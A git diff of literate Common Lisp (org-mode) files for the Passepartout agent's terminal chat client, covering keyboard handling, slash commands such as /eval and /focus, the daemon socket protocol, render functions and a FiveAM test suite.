(name (and k (key-name k))))
|
||||
(or name raw))
|
||||
raw)))
|
||||
(cond
|
||||
;; Enter
|
||||
((or (eq ch :enter) (eql ch 13) (eql ch 10)
|
||||
(eql ch #\Newline) (eql ch #\Return))
|
||||
;; Multi-line: if buffer ends with \, strip it and insert newline
|
||||
(if (and (st :input-buffer) (eql (first (st :input-buffer)) #\\))
|
||||
(progn (pop (st :input-buffer))
|
||||
(push #\Newline (st :input-buffer))
|
||||
(setf (st :dirty) (list nil nil t)))
|
||||
(let ((text (string-trim '(#\Space #\Tab) (input-string))))
|
||||
(when (> (length text) 0)
|
||||
(push text (st :input-history))
|
||||
(setf (st :input-hpos) 0)
|
||||
(setf (st :scroll-offset) 0)
|
||||
(cond
|
||||
;; /help command
|
||||
((string-equal text "/help")
|
||||
(add-msg :system
|
||||
"/eval <expr> Evaluate Lisp expression")
|
||||
(add-msg :system
|
||||
"/focus <proj> Set project context")
|
||||
(add-msg :system
|
||||
"/scope <s> Change scope (memex/session/project)")
|
||||
(add-msg :system
|
||||
"/unfocus Pop context stack")
|
||||
(add-msg :system
|
||||
"/theme Show current color theme")
|
||||
(add-msg :system
|
||||
"/help Show this help")
|
||||
(add-msg :system
|
||||
"\\ + Enter Multi-line input"))
|
||||
;; /theme command
|
||||
((string-equal text "/theme")
|
||||
(add-msg :system
|
||||
(format nil "Theme: user=~a agent=~a system=~a input=~a"
|
||||
(getf *tui-theme* :user)
|
||||
(getf *tui-theme* :agent)
|
||||
(getf *tui-theme* :system)
|
||||
(getf *tui-theme* :input))))
|
||||
;; /eval command
|
||||
((and (>= (length text) 6)
|
||||
(string-equal (subseq text 0 6) "/eval "))
|
||||
(handler-case
|
||||
(let* ((*read-eval* t)
|
||||
(*package* (find-package :passepartout.gateway-tui))
|
||||
(r (eval (read-from-string (subseq text 6)))))
|
||||
(add-msg :system (format nil "=> ~s" r)))
|
||||
(error (c) (add-msg :system (format nil "=> ✗ ~a" c)))))
|
||||
;; /focus <project> — set project context
|
||||
((and (>= (length text) 7)
|
||||
(string-equal (subseq text 0 7) "/focus "))
|
||||
(let ((project (string-trim '(#\Space) (subseq text 7))))
|
||||
(if (and (fboundp 'focus-project) (> (length project) 0))
|
||||
(progn (funcall 'focus-project project nil)
|
||||
(add-msg :system (format nil "Focused on project: ~a" project)))
|
||||
(add-msg :system "Usage: /focus <project-name>"))))
|
||||
;; /scope <scope> — change context scope
|
||||
((and (>= (length text) 7)
|
||||
(string-equal (subseq text 0 7) "/scope "))
|
||||
(let ((scope-str (string-trim '(#\Space) (subseq text 7))))
|
||||
(cond
|
||||
((and (fboundp 'focus-session) (string-equal scope-str "session"))
|
||||
(funcall 'focus-session)
|
||||
(add-msg :system "Scope: session"))
|
||||
((and (fboundp 'focus-project) (string-equal scope-str "project"))
|
||||
(funcall 'focus-project nil nil)
|
||||
(add-msg :system "Scope: project"))
|
||||
((and (fboundp 'focus-memex) (string-equal scope-str "memex"))
|
||||
(funcall 'focus-memex)
|
||||
(add-msg :system "Scope: memex"))
|
||||
(t (add-msg :system "Usage: /scope memex|session|project")))))
|
||||
;; /unfocus — pop context
|
||||
((and (>= (length text) 8)
|
||||
(string-equal (subseq text 0 8) "/unfocus"))
|
||||
(if (fboundp 'unfocus)
|
||||
(progn (funcall 'unfocus)
|
||||
(add-msg :system "Popped context"))
|
||||
(add-msg :system "Context manager not loaded")))
|
||||
;; Normal message
|
||||
(t
|
||||
(add-msg :user text)
|
||||
(setf (st :busy) t)
|
||||
(send-daemon (list :type :event
|
||||
:payload (list :sensor :user-input :text text)))))
|
||||
(setf (st :input-buffer) nil)
|
||||
(setf (st :dirty) (list t t t))))))
|
||||
;; Tab — command completion
|
||||
((or (eql ch 9) (eq ch :tab))
|
||||
(let ((text (input-string)))
|
||||
(when (and (> (length text) 1) (eql (char text 0) #\/))
|
||||
(let* ((cmds '("/eval" "/focus" "/scope" "/unfocus" "/help" "/theme"))
|
||||
(match (find text cmds :test
|
||||
(lambda (in cmd)
|
||||
(and (>= (length cmd) (length in))
|
||||
(string-equal cmd in :end1 (length in)))))))
|
||||
(when match
|
||||
(setf (st :input-buffer) (reverse (coerce match 'list)))
|
||||
(when (member match '("/eval" "/focus" "/scope") :test #'string=)
|
||||
(push #\Space (st :input-buffer)))
|
||||
(setf (st :dirty) (list nil nil t)))))))
|
||||
;; Backspace
|
||||
((or (eq ch :backspace) (eql ch 127) (eql ch 8)
|
||||
(eql ch #\Backspace))
|
||||
(when (st :input-buffer) (pop (st :input-buffer)))
|
||||
(setf (st :dirty) (list nil nil t)))
|
||||
;; Up arrow
|
||||
((or (eq ch :up) (eql ch 259))
|
||||
(let* ((h (st :input-history)) (p (st :input-hpos)))
|
||||
(when (and h (< p (1- (length h))))
|
||||
(incf (st :input-hpos))
|
||||
(setf (st :input-buffer)
|
||||
(reverse (coerce (nth (st :input-hpos) h) 'list)))
|
||||
(setf (st :dirty) (list nil nil t)))))
|
||||
;; Down arrow
|
||||
((or (eq ch :down) (eql ch 258))
|
||||
(when (> (st :input-hpos) 0)
|
||||
(decf (st :input-hpos))
|
||||
(let ((h (st :input-history)))
|
||||
(setf (st :input-buffer)
|
||||
(if (and h (< (st :input-hpos) (length h)))
|
||||
(reverse (coerce (nth (st :input-hpos) h) 'list))
|
||||
nil))
|
||||
(setf (st :dirty) (list nil nil t)))))
|
||||
;; PageUp
|
||||
((or (eq ch :ppage) (eql ch 339))
|
||||
(incf (st :scroll-offset) 5)
|
||||
(setf (st :dirty) (list nil t nil)))
|
||||
;; PageDown
|
||||
((or (eq ch :npage) (eql ch 338))
|
||||
(setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 5)))
|
||||
(setf (st :dirty) (list nil t nil)))
|
||||
;; Printable
|
||||
(t
|
||||
(let ((chr (typecase ch
|
||||
(character ch)
|
||||
(integer (code-char ch))
|
||||
(t nil))))
|
||||
(when (and chr (graphic-char-p chr))
|
||||
(push chr (st :input-buffer))
|
||||
(setf (st :dirty) (list nil nil t))))))))
|
||||
|
||||
(defun on-daemon-msg (msg)
|
||||
(let* ((payload (getf msg :payload))
|
||||
(text (getf payload :text))
|
||||
(action (getf payload :action)))
|
||||
(cond
|
||||
(text (setf (st :busy) nil)
|
||||
(add-msg :agent text))
|
||||
((eq action :handshake)
|
||||
(add-msg :system (format nil "Connected v~a" (getf payload :version))))
|
||||
(t (add-msg :agent (format nil "~a" msg))))))
|
||||
#+end_src
|
||||
|
||||
** Daemon Communication
|
||||
#+begin_src lisp
|
||||
(defun send-daemon (msg)
|
||||
(let ((s (st :stream)))
|
||||
(when (and s (open-stream-p s))
|
||||
(handler-case
|
||||
(progn
|
||||
(format s "~a" (frame-message msg))
|
||||
(finish-output s))
|
||||
(error () nil)))))
|
||||
|
||||
(defun recv-daemon (s)
|
||||
(handler-case
|
||||
(let* ((hdr (make-string 6)) (n 0))
|
||||
(loop while (< n 6)
|
||||
do (let ((ch (read-char s nil)))
|
||||
(unless ch (return-from recv-daemon nil))
|
||||
(setf (char hdr n) ch) (incf n)))
|
||||
(let* ((len (parse-integer hdr :radix 16 :junk-allowed t))
|
||||
(buf (make-string (or len 0))))
|
||||
(when (and len (> len 0))
|
||||
(loop for i from 0 below len
|
||||
do (let ((ch (read-char s nil)))
|
||||
(unless ch (return-from recv-daemon nil))
|
||||
(setf (char buf i) ch)))
|
||||
(let ((*read-eval* nil))
|
||||
(read-from-string buf)))))
|
||||
(error () nil)))
|
||||
|
||||
(defun reader-loop (s)
|
||||
(loop while (and (st :running) (open-stream-p s))
|
||||
do (let ((msg (recv-daemon s)))
|
||||
(if msg
|
||||
(queue-event (list :type :daemon :payload msg))
|
||||
(sleep 0.5)))))
|
||||
#+end_src
|
||||
|
||||
** Connection
|
||||
#+begin_src lisp
|
||||
(defun connect-daemon (&optional (host "127.0.0.1") (port 9105))
|
||||
(add-msg :system "* Connecting to daemon... *")
|
||||
(loop for attempt from 1 to 3
|
||||
for backoff = 0 then 3
|
||||
do (sleep backoff)
|
||||
(handler-case
|
||||
(let ((s (usocket:socket-connect host port :timeout 5)))
|
||||
(setf (st :stream) (usocket:socket-stream s)
|
||||
(st :connected) t)
|
||||
(bt:make-thread (lambda () (reader-loop (st :stream)))
|
||||
:name "tui-reader")
|
||||
(add-msg :system (format nil "* Connected v~a *" "0.3.0"))
|
||||
(return-from connect-daemon t))
|
||||
(usocket:connection-refused-error (c)
|
||||
(when (= attempt 3)
|
||||
(add-msg :system (format nil "* No daemon on port ~a after ~a attempts *"
|
||||
port attempt))))
|
||||
(error (c)
|
||||
(add-msg :system (format nil "* Connection attempt ~a failed: ~a *"
|
||||
attempt c))
|
||||
(when (= attempt 3)
|
||||
(add-msg :system "* TIP: run 'passepartout daemon' first *")))))
|
||||
nil)
|
||||
|
||||
(defun disconnect-daemon ()
|
||||
(when (st :stream)
|
||||
(ignore-errors (close (st :stream)))
|
||||
(setf (st :stream) nil (st :connected) nil)
|
||||
(add-msg :system "* Disconnected *")))
|
||||
#+end_src
|
||||
|
||||
** Main Loop
|
||||
#+begin_src lisp
|
||||
(defun tui-main ()
|
||||
(init-state)
|
||||
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
|
||||
(let* ((h (or (height scr) 24))
|
||||
(w (or (width scr) 80))
|
||||
(sw (make-instance 'window :height 3 :width (- w 2) :y 0 :x 1))
|
||||
(ch (- h 5))
|
||||
(cw (make-instance 'window :height ch :width (- w 2) :y 3 :x 1))
|
||||
(iw (make-instance 'window :height 1 :width (- w 2) :y (- h 1) :x 1))
|
||||
(swank-port (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "TUI_SWANK_PORT")))
|
||||
4006)))
|
||||
(setf (function-keys-enabled-p iw) t
|
||||
(input-blocking iw) nil
|
||||
(st :dirty) (list t t t))
|
||||
(connect-daemon)
|
||||
(when (> swank-port 0)
|
||||
(handler-case
|
||||
(progn
|
||||
(ql:quickload :swank :silent t)
|
||||
(funcall (find-symbol "CREATE-SERVER" "SWANK")
|
||||
:port swank-port :dont-close t)
|
||||
(add-msg :system
|
||||
(format nil "* Swank ~d M-x slime-connect *" swank-port)))
|
||||
(error ()
|
||||
(add-msg :system "* Swank unavailable *"))))
|
||||
;; Initial render before the main loop — otherwise the screen stays
|
||||
;; blank until the first keystroke (get-char blocks).
|
||||
(redraw sw cw ch iw)
|
||||
(refresh scr)
|
||||
(loop while (st :running) do
|
||||
(dolist (ev (drain-queue))
|
||||
(when (eq (getf ev :type) :daemon)
|
||||
(on-daemon-msg (getf ev :payload))))
|
||||
(let ((ch (get-char iw)))
|
||||
(when (and ch (not (equal ch -1)))
|
||||
(on-key ch)))
|
||||
(redraw sw cw ch iw)
|
||||
(refresh scr)
|
||||
(sleep 0.03))
|
||||
(disconnect-daemon))))
|
||||
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-tui-tests
|
||||
(:use :cl :passepartout :passepartout.gateway-tui)
|
||||
(:export #:tui-suite))
|
||||
|
||||
(in-package :passepartout-tui-tests)
|
||||
|
||||
(fiveam:def-suite tui-suite :description "Verification of the TUI model and event handling")
|
||||
(fiveam:in-suite tui-suite)
|
||||
|
||||
(fiveam:test test-init-state
|
||||
"Contract model.1: init-state returns fresh state plist with required keys."
|
||||
(init-state)
|
||||
(fiveam:is (eq t (st :running)))
|
||||
(fiveam:is (eq :chat (st :mode)))
|
||||
(fiveam:is (eq nil (st :connected)))
|
||||
(fiveam:is (eq nil (st :stream)))
|
||||
(fiveam:is (eq nil (st :messages)))
|
||||
(fiveam:is (eq 0 (st :scroll-offset)))
|
||||
(fiveam:is (eq nil (st :busy))))
|
||||
|
||||
(fiveam:test test-add-msg
|
||||
"Contract model.2: add-msg appends a message with role, content, and time."
|
||||
(init-state)
|
||||
(add-msg :user "hello")
|
||||
(let* ((msgs (st :messages))
|
||||
(msg (first msgs)))
|
||||
(fiveam:is (eq :user (getf msg :role)))
|
||||
(fiveam:is (string= "hello" (getf msg :content)))
|
||||
(fiveam:is (stringp (getf msg :time)))
|
||||
(fiveam:is (= 5 (length (getf msg :time))))))
|
||||
|
||||
(fiveam:test test-add-msg-dirty-flag
|
||||
"Contract model.2: add-msg sets dirty flags for status and chat."
|
||||
(init-state)
|
||||
(setf (st :dirty) (list nil nil nil))
|
||||
(add-msg :system "boot")
|
||||
(let ((dirty (st :dirty)))
|
||||
(fiveam:is (eq t (first dirty)))
|
||||
(fiveam:is (eq t (second dirty)))
|
||||
(fiveam:is (eq nil (third dirty)))))
|
||||
|
||||
(fiveam:test test-queue-event-roundtrip
|
||||
"Contract model.3: queue-event + drain-queue preserves events in order."
|
||||
(init-state)
|
||||
(queue-event '(:type :key :payload (:ch 13)))
|
||||
(queue-event '(:type :daemon :payload (:text "hi")))
|
||||
(let ((evs (drain-queue)))
|
||||
(fiveam:is (= 2 (length evs)))
|
||||
(fiveam:is (equal '(:type :key :payload (:ch 13)) (first evs)))
|
||||
(fiveam:is (equal '(:type :daemon :payload (:text "hi")) (second evs)))
|
||||
(fiveam:is (null (drain-queue)))))
|
||||
|
||||
(fiveam:test test-on-key-enter-sends-user-message
|
||||
"Contract 1: on-key with Enter extracts input, adds user message, clears buffer."
|
||||
(init-state)
|
||||
;; Simulate typing "test"
|
||||
(dolist (ch '(#\t #\e #\s #\t))
|
||||
(on-key (char-code ch)))
|
||||
(fiveam:is (string= "test" (input-string)))
|
||||
;; Simulate Enter key — ncurses returns 343 (KEY_ENTER) when keypad is enabled
|
||||
(on-key 343)
|
||||
;; Input buffer should be cleared
|
||||
(fiveam:is (string= "" (input-string)))
|
||||
;; A user message should be in the message list
|
||||
(let ((msgs (st :messages)))
|
||||
(fiveam:is (>= (length msgs) 1))
|
||||
(let ((last (first msgs)))
|
||||
(fiveam:is (eq :user (getf last :role)))
|
||||
(fiveam:is (string= "test" (getf last :content))))))
|
||||
|
||||
(fiveam:test test-on-key-eval-command
|
||||
"Contract 1: on-key handles /eval command and displays result."
|
||||
(init-state)
|
||||
;; Type "/eval (+ 1 2)"
|
||||
(dolist (ch (coerce "/eval (+ 1 2)" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msgs (st :messages)))
|
||||
(fiveam:is (>= (length msgs) 1))
|
||||
(let ((last-msg (first msgs)))
|
||||
(fiveam:is (eq :system (getf last-msg :role)))
|
||||
(fiveam:is (search "=> 3" (getf last-msg :content))))))
|
||||
|
||||
(fiveam:test test-on-key-backspace
|
||||
"Contract 1: on-key with Backspace removes last character from buffer."
|
||||
(init-state)
|
||||
(dolist (ch '(#\a #\b #\c))
|
||||
(on-key (char-code ch)))
|
||||
(fiveam:is (string= "abc" (input-string)))
|
||||
;; ncurses returns 263 (KEY_BACKSPACE) when keypad is enabled
|
||||
(on-key 263)
|
||||
(fiveam:is (string= "ab" (input-string))))
|
||||
|
||||
(fiveam:test test-on-key-focus-command
|
||||
"Contract 1: /focus command parses project name."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/focus myapp" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msg (first (st :messages))))
|
||||
(fiveam:is (eq :system (getf msg :role)))))
|
||||
|
||||
(fiveam:test test-on-key-scope-command
|
||||
"Contract 1: /scope command with valid argument."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/scope memex" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msg (first (st :messages))))
|
||||
(fiveam:is (eq :system (getf msg :role)))))
|
||||
|
||||
(fiveam:test test-on-key-unfocus-command
|
||||
"Contract 1: /unfocus command dispatches correctly."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/unfocus" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msg (first (st :messages))))
|
||||
(fiveam:is (eq :system (getf msg :role)))))
|
||||
|
||||
(fiveam:test test-on-key-tab-completion
|
||||
"Contract 1: Tab completes / commands when input starts with /."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/ev" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 9)
|
||||
(fiveam:is (string= "/eval " (input-string))))
|
||||
|
||||
(fiveam:test test-on-key-tab-no-slash
|
||||
"Contract 1: Tab does nothing when input doesn't start with /."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "hello" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 9)
|
||||
(fiveam:is (string= "hello" (input-string))))
|
||||
|
||||
(fiveam:test test-on-key-multiline
|
||||
"Contract 1: \\ + Enter inserts newline instead of sending."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "line1" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key (char-code #\\))
|
||||
(on-key 343)
|
||||
(fiveam:is (search "line1" (input-string)))
|
||||
(fiveam:is (search (string #\Newline) (input-string))))
|
||||
|
||||
(fiveam:test test-on-key-help
|
||||
"Contract 1: /help displays command list."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/help" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msgs (st :messages)))
|
||||
(fiveam:is (>= (length msgs) 3))
|
||||
(fiveam:is (some (lambda (m) (search "/eval" (getf m :content))) msgs))))
|
||||
|
||||
(fiveam:test test-activity-indicator
|
||||
"Contract model: :busy flag is set on send and cleared on agent response."
|
||||
(init-state)
|
||||
(fiveam:is (eq nil (st :busy)))
|
||||
;; Simulate sending a normal message (sets busy)
|
||||
(dolist (ch (coerce "hello" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(fiveam:is (eq t (st :busy)))
|
||||
;; Simulate receiving an agent response (clears busy)
|
||||
(on-daemon-msg '(:type :event :payload (:text "hi back")))
|
||||
(fiveam:is (eq nil (st :busy))))
|
||||
|
||||
(fiveam:test test-theme
|
||||
"Contract view: *tui-theme* provides color mappings."
|
||||
(fiveam:is (eq :green (getf *tui-theme* :user)))
|
||||
(fiveam:is (eq :white (getf *tui-theme* :agent)))
|
||||
(fiveam:is (eq :yellow (getf *tui-theme* :system)))
|
||||
(fiveam:is (eq :cyan (getf *tui-theme* :input)))
|
||||
(fiveam:is (eq :white (theme-color :unknown-role))))
|
||||
#+end_src
|
||||
79
org/gateway-tui-model.org
Normal file
79
org/gateway-tui-model.org
Normal file
@@ -0,0 +1,79 @@
|
||||
#+TITLE: Passepartout TUI — Model
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/gateway-tui-model.lisp
|
||||
|
||||
* Model
|
||||
|
||||
The TUI state is a single plist accessed via ~st~ / ~(setf st)~.
|
||||
All state mutation flows through event handlers in the controller.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (init-state): returns a fresh state plist with ~:msgs~ list,
|
||||
~:input~ buffer, ~:dirty~ flag, ~:busy~ flag, and ~:connection~ status.
|
||||
2. (add-msg type text): appends a message to the ~:msgs~ list in
|
||||
~*state*~, tagged with a timestamp and type. Truncates at the
|
||||
message buffer limit.
|
||||
3. (queue-event ev): thread-safely enqueues an event for the
|
||||
reader loop. (drain-queue) returns and clears the queue.
|
||||
|
||||
** Package + State
|
||||
#+begin_src lisp
|
||||
(defpackage :passepartout.gateway-tui
|
||||
(:use :cl :croatoan :passepartout :usocket :bordeaux-threads)
|
||||
(:export :tui-main :st :add-msg :now :input-string
|
||||
:queue-event :drain-queue :init-state
|
||||
:view-status :view-chat :view-input :redraw
|
||||
:on-key :on-daemon-msg :send-daemon
|
||||
:connect-daemon :disconnect-daemon
|
||||
:*tui-theme* :theme-color))
|
||||
(in-package :passepartout.gateway-tui)
|
||||
|
||||
(defvar *state* nil)
|
||||
(defvar *event-queue* nil)
|
||||
(defvar *event-lock* (bt:make-lock "tui-event-lock"))
|
||||
|
||||
(defvar *tui-theme*
|
||||
'(:user :green :agent :white :system :yellow :input :cyan
|
||||
:connected :green :disconnected :red :timestamp :yellow)
|
||||
"Color theme plist. Keys are semantic roles, values are Croatoan colors.")
|
||||
|
||||
(defun theme-color (role)
|
||||
"Returns the Croatoan color for a semantic role."
|
||||
(or (getf *tui-theme* role) :white))
|
||||
|
||||
(defun st (key) (getf *state* key))
|
||||
(defun (setf st) (val key) (setf (getf *state* key) val))
|
||||
|
||||
(defun init-state ()
|
||||
(setf *state*
|
||||
(list :running t :mode :chat :connected nil :stream nil
|
||||
:input-buffer nil :input-history nil :input-hpos 0
|
||||
:messages nil :scroll-offset 0 :busy nil
|
||||
:dirty (list nil nil nil))))
|
||||
#+end_src
|
||||
|
||||
** Helpers
|
||||
#+begin_src lisp
|
||||
(defun now ()
|
||||
(multiple-value-bind (s m h) (get-decoded-time)
|
||||
(declare (ignore s))
|
||||
(format nil "~2,'0d:~2,'0d" h m)))
|
||||
|
||||
(defun input-string ()
|
||||
(coerce (reverse (st :input-buffer)) 'string))
|
||||
|
||||
(defun add-msg (role content)
|
||||
(push (list :role role :content content :time (now)) (st :messages))
|
||||
(setf (st :dirty) (list t t nil)))
|
||||
#+end_src
|
||||
|
||||
** Event Queue
|
||||
#+begin_src lisp
|
||||
(defun queue-event (ev)
|
||||
(bt:with-lock-held (*event-lock*) (push ev *event-queue*)))
|
||||
|
||||
(defun drain-queue ()
|
||||
(bt:with-lock-held (*event-lock*)
|
||||
(let ((evs (nreverse *event-queue*)))
|
||||
(setf *event-queue* nil) evs)))
|
||||
#+end_src
|
||||
92
org/gateway-tui-view.org
Normal file
92
org/gateway-tui-view.org
Normal file
@@ -0,0 +1,92 @@
|
||||
#+TITLE: Passepartout TUI — View
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/gateway-tui-view.lisp
|
||||
|
||||
* View
|
||||
|
||||
Pure render functions. Each takes a Croatoan window and current state.
|
||||
State is read via ~(st :key)~ — no mutation here.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (view-status win): renders the status bar with connection info,
|
||||
version, and timestamp.
|
||||
2. (view-chat win h): renders the scrolled chat message list. Takes
|
||||
window and available height. Messages are color-coded: green (user),
|
||||
white (agent), yellow (system).
|
||||
3. (view-input win): renders the input line with cursor and typing
|
||||
indicator.
|
||||
4. (redraw sw cw ch iw): dispatches redraws based on ~(st :dirty)~
|
||||
flags (status, chat, input). Minimizes terminal writes.
|
||||
|
||||
** Status Bar
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout.gateway-tui)
|
||||
|
||||
(defun view-status (win)
|
||||
(clear win)
|
||||
(box win 0 0)
|
||||
(add-string win
|
||||
(format nil " Passepartout ~a [~a] msgs:~a scroll:~a~a"
|
||||
(if (st :connected) "● Connected" "○ Disconnected")
|
||||
(string-upcase (string (st :mode)))
|
||||
(length (st :messages))
|
||||
(if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
|
||||
(if (st :busy) " …thinking" ""))
|
||||
:y 1 :x 1 :fgcolor (theme-color (if (st :connected) :connected :disconnected)))
|
||||
(add-string win (format nil " ~a" (now)) :y 2 :x 1 :fgcolor (theme-color :timestamp))
|
||||
(refresh win))
|
||||
#+end_src
|
||||
|
||||
** Chat Area
|
||||
#+begin_src lisp
|
||||
(defun view-chat (win h)
|
||||
(clear win)
|
||||
(box win 0 0)
|
||||
(let* ((w (or (width win) 78))
|
||||
(msgs (reverse (st :messages)))
|
||||
(max-lines (- h 2))
|
||||
(total (length msgs))
|
||||
(start (max 0 (- total max-lines (st :scroll-offset))))
|
||||
(y 1))
|
||||
(loop for i from start below total
|
||||
while (< y (1- h))
|
||||
do (let ((msg (nth i msgs)))
|
||||
(let* ((role (getf msg :role))
|
||||
(content (getf msg :content))
|
||||
(time (or (getf msg :time) ""))
|
||||
(label (case role
|
||||
(:user (format nil "⬆ [~a] ~a" time content))
|
||||
(:agent (format nil "⬇ [~a] ~a" time content))
|
||||
(:system (format nil " [~a] ~a" time content))
|
||||
(t (format nil " [~a] ~a" time content))))
|
||||
(color (theme-color (case role
|
||||
(:user :user)
|
||||
(:agent :agent)
|
||||
(:system :system)
|
||||
(t :agent)))))
|
||||
(add-string win label :y y :x 1 :n (1- w) :fgcolor color)
|
||||
(incf y)))))
|
||||
(refresh win))
|
||||
#+end_src
|
||||
|
||||
** Input Line
|
||||
#+begin_src lisp
|
||||
(defun view-input (win)
|
||||
(let* ((text (input-string))
|
||||
(w (or (width win) 78))
|
||||
(clip (min (length text) (1- w))))
|
||||
(clear win)
|
||||
(add-string win (format nil "~a " text) :y 0 :x 0 :n (1- w) :fgcolor (theme-color :input))
|
||||
(setf (cursor-position win) (list 0 clip)))
|
||||
(refresh win))
|
||||
#+end_src
|
||||
|
||||
** Redraw (dirty-flag dispatch)
|
||||
#+begin_src lisp
|
||||
(defun redraw (sw cw ch iw)
|
||||
(destructuring-bind (sd cd id) (st :dirty)
|
||||
(when sd (view-status sw))
|
||||
(when cd (view-chat cw ch))
|
||||
(when id (view-input iw))
|
||||
(setf (st :dirty) (list nil nil nil))))
|
||||
#+end_src
|
||||
@@ -1,321 +0,0 @@
|
||||
#+TITLE: Passepartout TUI Client (Standalone)
|
||||
#+STARTUP: content
|
||||
#+FILETAGS: :tui:ux:client:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/gateway-tui.lisp
|
||||
|
||||
* Overview: Architectural Intent
|
||||
|
||||
The TUI Client is a standalone ncurses application built on Croatoan that connects to the daemon via TCP. It provides a split-pane interface: a scrollable chat history window at the top and a fixed input line at the bottom.
|
||||
|
||||
Unlike the CLI gateway (which is a single request-response cycle), the TUI is a persistent connection. It maintains a background reader thread that listens for incoming messages from the daemon and enqueues them for display. This allows the agent to send messages to the user asynchronously — tool results, heartbeat notifications, and autonomous decisions appear in the chat window without the user having to ask.
|
||||
|
||||
** Why a Background Reader Thread?
|
||||
|
||||
The daemon's protocol is framed TCP — the TUI sends a message, the daemon processes it, and sends one or more responses. But the daemon can also send unsolicited messages (heartbeat notifications, tool results from autonomous actions). The background reader thread handles this by continuously reading from the socket and enqueuing messages for the main loop to display.
|
||||
|
||||
The main loop is event-driven: on each tick, it checks for new messages in the queue, checks for keyboard input, renders updates, and sleeps for ~10ms. This gives responsive text input (no perceived latency) while keeping CPU usage near zero.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
|
||||
The TUI lives in its own package (~passepartout.gateway-tui~) so it doesn't pollute the harness namespace. It depends on Croatoan (ncurses bindings), usocket (TCP client), and bordeaux-threads (background reader).
|
||||
|
||||
#+begin_src lisp
|
||||
(in-package :cl-user)
|
||||
(defpackage :passepartout.gateway-tui
|
||||
(:use :cl :croatoan :usocket :bordeaux-threads)
|
||||
(:export :main))
|
||||
(in-package :passepartout.gateway-tui)
|
||||
#+end_src
|
||||
|
||||
** Connection state
|
||||
|
||||
The daemon host and port. Defaults to localhost:9105. These can be changed before calling ~main~.
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *daemon-host* "localhost")
|
||||
#+end_src
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *daemon-port* 9105)
|
||||
#+end_src
|
||||
|
||||
** Socket and stream
|
||||
|
||||
The TCP socket and stream used to communicate with the daemon. Set during ~main~ and used by ~input-submit~ and ~reader-start~.
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *socket* nil)
|
||||
#+end_src
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *stream* nil)
|
||||
#+end_src
|
||||
|
||||
** Chat history
|
||||
|
||||
The list of messages displayed in the chat window. Each message is a string prepended with ~⬆~ (outgoing) or ~⬇~ (incoming).
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *chat-history* nil)
|
||||
#+end_src
|
||||
|
||||
** Input buffer
|
||||
|
||||
The current line the user is typing. Characters are pushed onto this list and reversed before submission.
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *input-buffer* nil)
|
||||
#+end_src
|
||||
|
||||
** Running flag
|
||||
|
||||
Set to nil to signal the main loop to exit. Set by ~/exit~ command, connection errors, or ~unwind-protect~ cleanup.
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *is-running* t)
|
||||
#+end_src
|
||||
|
||||
** Incoming message queue
|
||||
|
||||
Thread-safe queue for messages received by the background reader. Lock ensures the main loop and reader thread don't race on the list.
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *queue-lock* (bt:make-lock "incoming-queue-lock"))
|
||||
#+end_src
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *incoming* nil)
|
||||
#+end_src
|
||||
|
||||
** Utility functions
|
||||
|
||||
*** Debug logging
|
||||
|
||||
Writes debugging information to ~/tmp/passepartout-tui-debug.log~. Useful for diagnosing connection issues and message parsing problems.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun log-debug (msg &rest args)
|
||||
(ignore-errors
|
||||
(with-open-file (s "/tmp/passepartout-tui-debug.log" :direction :output :if-exists :append :if-does-not-exist :create)
|
||||
(format s "[~a] " (get-universal-time))
|
||||
(apply #'format s msg args)
|
||||
(terpri s)
|
||||
(finish-output s))))
|
||||
#+end_src
|
||||
|
||||
*** Message queue (message-queue-push)
|
||||
|
||||
Adds a message to the incoming queue. Thread-safe via ~*queue-lock*~.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun message-queue-push (msg)
|
||||
(bt:with-lock-held (*queue-lock*)
|
||||
(setf *incoming* (append *incoming* (list msg)))))
|
||||
#+end_src
|
||||
|
||||
*** Message queue (message-queue-drain)
|
||||
|
||||
Drains the incoming queue, returning all messages since the last drain. Thread-safe via ~*queue-lock*~.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun message-queue-drain ()
|
||||
